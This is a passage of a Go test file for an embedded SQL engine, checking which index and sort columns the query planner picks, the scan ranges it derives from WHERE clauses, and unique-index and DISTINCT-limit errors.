r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should return too many rows error\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT DISTINCT id FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tcols, err := r.Columns(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, cols, 1)\n\t\trequire.Equal(t, \"(table1.id)\", cols[0].Selector())\n\n\t\tfor i := 0; i < engine.distinctLimit; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Len(t, row.ValuesBySelector, 1)\n\n\t\t\trequire.Equal(t, int64(i+1), row.ValuesBySelector[\"(table1.id)\"].RawValue())\n\t\t}\n\n\t\t_, err = r.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrTooManyRows)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestIndexSelection(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 (\n\t\tv0 INTEGER,\n\t\tv1 INTEGER,\n\t\tv2 INTEGER,\n\t\tv3 INTEGER,\n\t\tv4 INTEGER,\n\t\tv5 INTEGER,\n\n\t\tPRIMARY KEY (v0, v1)\n\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX on table1(v1, v2, v3, v4)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX on table1(v3, v4)\", nil)\n\trequire.NoError(t, err)\n\n\ttype test struct {\n\t\tquery                   string\n\t\texpectedIndex           []string\n\t\texpectedGroupBySortCols []string\n\t\texpectedOrderBySortCols []string\n\t\tdesc                    bool\n\t}\n\n\ttestCases := []test{\n\t\t{\n\t\t\tquery:         \"SELECT * FROM table1\",\n\t\t\texpectedIndex: []string{\"v0\", \"v1\"},\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT * FROM table1 ORDER BY v1\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT * FROM table1 WHERE v0 = 0 ORDER BY v1\",\n\t\t\texpectedIndex: []string{\"v0\", \"v1\"},\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT * FROM table1 ORDER BY v5 DESC\",\n\t\t\texpectedIndex:           []string{\"v0\", \"v1\"},\n\t\t\texpectedOrderBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v5\")},\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT * FROM table1 ORDER BY v1, v2, v3\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT * FROM table1 WHERE v1 = 0 AND v2 = 1 ORDER BY v3 DESC\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t\tdesc:          true,\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT * FROM table1 ORDER BY v3 DESC, v4 DESC\",\n\t\t\texpectedIndex: []string{\"v3\", \"v4\"},\n\t\t\tdesc:          true,\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT * FROM table1 ORDER BY v3 DESC, v4 ASC\",\n\t\t\texpectedIndex:           []string{\"v0\", \"v1\"},\n\t\t\texpectedOrderBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v3\"), EncodeSelector(\"\", \"table1\", \"v4\")},\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT * FROM table1 USE INDEX ON (v1, v2, v3, v4) ORDER BY v3 DESC, v4 DESC\",\n\t\t\texpectedIndex:           []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t\texpectedOrderBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v3\"), EncodeSelector(\"\", \"table1\", \"v4\")},\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT COUNT(*) FROM table1 GROUP BY v1, v2\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT COUNT(*) FROM table1 GROUP BY v1, v3\",\n\t\t\texpectedIndex:           []string{\"v0\", \"v1\"},\n\t\t\texpectedGroupBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v1\"), EncodeSelector(\"\", \"table1\", \"v3\")},\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1 DESC, v3 DESC\",\n\t\t\texpectedIndex:           []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t\texpectedOrderBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v1\"), EncodeSelector(\"\", \"table1\", \"v3\")},\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT COUNT(*) FROM table1 WHERE v1 = 0 AND v2 = 1 GROUP BY v2, v3 ORDER BY v3 DESC\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t\tdesc:          true,\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1 DESC, v2 DESC\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t\tdesc:          true,\n\t\t},\n\t\t{\n\t\t\tquery:         \"SELECT COUNT(*) FROM table1 GROUP BY v1, v2, v3 ORDER BY v1, v2, v3, COUNT(*)\",\n\t\t\texpectedIndex: []string{\"v1\", \"v2\", \"v3\", \"v4\"},\n\t\t\texpectedOrderBySortCols: []string{\n\t\t\t\tEncodeSelector(\"\", \"table1\", \"v1\"),\n\t\t\t\tEncodeSelector(\"\", \"table1\", \"v2\"),\n\t\t\t\tEncodeSelector(\"\", \"table1\", \"v3\"),\n\t\t\t\tEncodeSelector(\"COUNT\", \"table1\", \"*\"),\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT COUNT(*) FROM table1 GROUP BY v4, v3 ORDER BY v3 DESC, v4 DESC\",\n\t\t\texpectedIndex:           []string{\"v0\", \"v1\"},\n\t\t\texpectedGroupBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v4\"), EncodeSelector(\"\", \"table1\", \"v3\")},\n\t\t\texpectedOrderBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v3\"), EncodeSelector(\"\", \"table1\", \"v4\")},\n\t\t},\n\t\t{\n\t\t\tquery:                   \"SELECT COUNT(*) FROM table1 USE INDEX ON(v3, v4) GROUP BY v1, v2 ORDER BY v1 DESC, v2 DESC\",\n\t\t\texpectedIndex:           []string{\"v3\", \"v4\"},\n\t\t\texpectedGroupBySortCols: []string{EncodeSelector(\"\", \"table1\", \"v1\"), EncodeSelector(\"\", \"table1\", \"v2\")},\n\t\t},\n\t}\n\n\tfor i, testCase := range testCases {\n\t\tt.Run(fmt.Sprintf(\"test index selection %d\", i), func(t *testing.T) {\n\t\t\treader, err := engine.Query(context.Background(), nil, testCase.query, nil)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer reader.Close()\n\n\t\t\tspecs := reader.ScanSpecs()\n\t\t\trequire.NotNil(t, specs.Index)\n\t\t\trequire.Len(t, specs.Index.cols, len(testCase.expectedIndex))\n\t\t\trequire.Equal(t, specs.DescOrder, testCase.desc)\n\t\t\trequire.Len(t, specs.groupBySortExps, len(testCase.expectedGroupBySortCols))\n\t\t\trequire.Len(t, specs.orderBySortExps, len(testCase.expectedOrderBySortCols))\n\n\t\t\tfor i, col := range testCase.expectedIndex {\n\t\t\t\trequire.Equal(t, col, specs.Index.cols[i].Name())\n\t\t\t}\n\n\t\t\tfor i, col := range testCase.expectedGroupBySortCols {\n\t\t\t\trequire.Equal(t, col, EncodeSelector(specs.groupBySortExps[i].AsSelector().resolve(\"table1\")))\n\t\t\t}\n\n\t\t\tfor i, col := range testCase.expectedOrderBySortCols {\n\t\t\t\trequire.Equal(t, col, EncodeSelector(specs.orderBySortExps[i].AsSelector().resolve(\"table1\")))\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestIndexing(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, `CREATE TABLE table1 (\n\t\t\t\t\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\t\t\t\t\tts INTEGER,\n\t\t\t\t\t\t\t\ttitle VARCHAR[20],\n\t\t\t\t\t\t\t\tactive BOOLEAN,\n\t\t\t\t\t\t\t\tamount INTEGER,\n\t\t\t\t\t\t\t\tpayload BLOB,\n\t\t\t\t\t\t\t\tPRIMARY KEY id\n\t\t\t\t\t\t\t)`, nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (ts)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1 (title, amount)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1 (active, title)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE UNIQUE INDEX ON table1 (title)\", nil)\n\trequire.NoError(t, err)\n\n\tt.Run(\"should fail due to unique index\", func(t *testing.T) {\n\t\t_, _, err = engine.Exec(context.Background(), nil, \"INSERT INTO table1 (ts, title, amount, active) VALUES (1, 'title1', 10, true), (2, 'title1', 10, false)\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\t})\n\n\tt.Run(\"should use primary index by default\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"id\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.True(t, scanSpecs.Index.IsPrimary())\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use primary index in descending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 ORDER BY id DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"id\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.True(t, scanSpecs.Index.IsPrimary())\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` ascending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 ORDER BY ts\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` descending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 ORDER BY ts DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` with specific value\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE ts = 1629902962 OR ts < 1629902963 ORDER BY ts\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttsRange := scanSpecs.rangesByColID[2]\n\t\trequire.Nil(t, tsRange.lRange)\n\t\trequire.NotNil(t, tsRange.hRange)\n\t\trequire.False(t, tsRange.hRange.inclusive)\n\t\trequire.Equal(t, int64(1629902963), tsRange.hRange.val.RawValue())\n\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` with specific value\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 AS t WHERE t.ts = 1629902962 AND t.ts = 1629902963 ORDER BY t.ts\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttsRange := scanSpecs.rangesByColID[2]\n\t\trequire.NotNil(t, tsRange.lRange)\n\t\trequire.True(t, tsRange.lRange.inclusive)\n\t\trequire.Equal(t, int64(1629902963), tsRange.lRange.val.RawValue())\n\t\trequire.NotNil(t, tsRange.hRange)\n\t\trequire.True(t, tsRange.hRange.inclusive)\n\t\trequire.Equal(t, int64(1629902962), tsRange.hRange.val.RawValue())\n\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` with specific value\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE ts > 1629902962 AND ts < 1629902963 ORDER BY ts\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttsRange := scanSpecs.rangesByColID[2]\n\t\trequire.NotNil(t, tsRange.lRange)\n\t\trequire.False(t, tsRange.lRange.inclusive)\n\t\trequire.Equal(t, int64(1629902962), tsRange.lRange.val.RawValue())\n\t\trequire.NotNil(t, tsRange.hRange)\n\t\trequire.False(t, tsRange.hRange.inclusive)\n\t\trequire.Equal(t, int64(1629902963), tsRange.hRange.val.RawValue())\n\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title, amount` in asc order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (title, amount) ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 2)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\t\trequire.Equal(t, \"amount\", orderBy[1].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 2)\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title` in asc order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (title) ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` in default order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (ts)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Empty(t, scanSpecs.rangesByColID)\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use specified index on `ts` when ordering by `title`\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (ts) ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Equal(t, scanSpecs.Index.cols[0].colName, \"ts\")\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title` with max value in desc order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' ORDER BY title DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.Nil(t, titleRange.lRange)\n\t\trequire.NotNil(t, titleRange.hRange)\n\t\trequire.False(t, titleRange.hRange.inclusive)\n\t\trequire.Equal(t, \"title10\", titleRange.hRange.val.RawValue())\n\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title,amount` in desc order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE title = 'title1' ORDER BY amount DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 2)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\t\trequire.Equal(t, \"amount\", orderBy[1].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 2)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.NotNil(t, titleRange.lRange)\n\t\trequire.True(t, titleRange.lRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.lRange.val.RawValue())\n\t\trequire.NotNil(t, titleRange.hRange)\n\t\trequire.True(t, titleRange.hRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.hRange.val.RawValue())\n\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` ascending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE title > 'title10' ORDER BY ts ASC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.NotNil(t, titleRange.lRange)\n\t\trequire.False(t, titleRange.lRange.inclusive)\n\t\trequire.Equal(t, \"title10\", titleRange.lRange.val.RawValue())\n\t\trequire.Nil(t, titleRange.hRange)\n\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `ts` descending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY ts DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"ts\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.False(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.NotNil(t, titleRange.lRange)\n\t\trequire.True(t, titleRange.lRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.lRange.val.RawValue())\n\t\trequire.Nil(t, titleRange.hRange)\n\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title` descending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 WHERE title > 'title10' or title = 'title1' ORDER BY title DESC\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 2)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\t\trequire.Equal(t, \"amount\", orderBy[1].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 2)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.NotNil(t, titleRange.lRange)\n\t\trequire.True(t, titleRange.lRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.lRange.val.RawValue())\n\t\trequire.Nil(t, titleRange.hRange)\n\n\t\trequire.True(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title` ascending order starting with 'title1'\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (title) WHERE title > 'title10' or title = 'title1' ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.NotNil(t, titleRange.lRange)\n\t\trequire.True(t, titleRange.lRange.inclusive)\n\t\trequire.Equal(t, \"title1\", titleRange.lRange.val.RawValue())\n\t\trequire.Nil(t, titleRange.hRange)\n\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title` ascending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' or title = 'title1' ORDER BY title\", nil)\n\t\trequire.NoError(t, err)\n\n\t\torderBy := r.OrderBy()\n\t\trequire.NotNil(t, orderBy)\n\t\trequire.Len(t, orderBy, 1)\n\t\trequire.Equal(t, \"title\", orderBy[0].Column)\n\n\t\tscanSpecs := r.ScanSpecs()\n\t\trequire.NotNil(t, scanSpecs)\n\t\trequire.NotNil(t, scanSpecs.Index)\n\t\trequire.False(t, scanSpecs.Index.IsPrimary())\n\t\trequire.True(t, scanSpecs.Index.IsUnique())\n\t\trequire.Len(t, scanSpecs.Index.cols, 1)\n\t\trequire.Len(t, scanSpecs.rangesByColID, 1)\n\n\t\ttitleRange := scanSpecs.rangesByColID[3]\n\t\trequire.Nil(t, titleRange.lRange)\n\t\trequire.NotNil(t, titleRange.hRange)\n\t\trequire.False(t, titleRange.hRange.inclusive)\n\t\trequire.Equal(t, \"title10\", titleRange.hRange.val.RawValue())\n\n\t\trequire.False(t, scanSpecs.DescOrder)\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"should use index on `title` descending order\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT * FROM table1 USE INDEX ON (title) WHERE title < 'title10' and title = 'title1' ORDER BY title DESC\", 